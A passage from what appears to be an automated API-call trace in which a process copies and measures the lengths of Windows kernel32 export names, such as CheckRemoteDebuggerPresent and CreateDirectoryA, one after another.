(lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0140.961] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0140.961] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0140.961] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0140.961] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0140.961] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0140.961] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0140.961] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0140.961] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0140.961] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0140.961] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0140.961] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0140.961] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0140.961] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0140.961] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0140.961] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0140.961] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0140.961] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0140.961] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0140.961] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0140.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0140.961] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0140.962] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0140.962] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0140.962] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0140.962] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0140.962] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0140.962] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0140.962] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0140.962] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0140.962] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0140.962] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0140.962] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0140.962] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0140.962] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0140.962] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0140.962] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0140.962] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0140.962] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0140.962] lstrlenA (lpString="BEEP") returned 4 [0140.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0140.962] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0140.963] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0140.963] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0140.963] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0140.963] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0140.963] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0140.963] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0140.963] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0140.963] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0140.963] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0140.963] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0140.963] lstrlenA (lpString="CANCELIO") returned 8 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0140.963] lstrlenA (lpString="CANCELIOEX") returned 10 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0140.963] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0140.963] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0140.963] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0140.963] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0140.963] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0140.963] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0140.963] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0140.963] lstrlenA (lpString="CHECKELEVATION") returned 14 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0140.963] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0140.963] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0140.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0140.964] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0140.964] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0140.964] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0140.964] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0140.964] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0140.964] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0140.964] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0140.964] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0140.964] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0140.964] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0140.964] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0140.964] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0140.964] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0140.964] lstrlenA (lpString="CLOSESTATE") returned 10 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0140.964] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0140.964] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0140.964] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0140.964] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0140.964] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0140.964] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0140.964] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0140.964] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0140.964] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0140.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0140.965] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0140.965] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0140.965] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0140.965] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0140.965] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0140.965] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0140.965] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0140.965] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0140.965] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0140.965] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0140.965] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0140.965] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0140.965] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0140.965] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0140.965] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0140.965] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0140.965] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0140.965] lstrlenA (lpString="COPYCONTEXT") returned 11 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0140.965] lstrlenA (lpString="COPYFILE2") returned 9 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0140.965] lstrlenA (lpString="COPYFILEA") returned 9 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0140.965] lstrlenA (lpString="COPYFILEEXA") returned 11 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0140.965] lstrlenA (lpString="COPYFILEEXW") returned 11 [0140.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0140.965] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0140.966] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0140.966] lstrlenA (lpString="COPYFILEW") returned 9 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0140.966] lstrlenA (lpString="COPYLZFILE") returned 10 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0140.966] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0140.966] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0140.966] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0140.966] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0140.966] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0140.966] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0140.966] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0140.966] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0140.966] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0140.966] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0140.966] lstrlenA 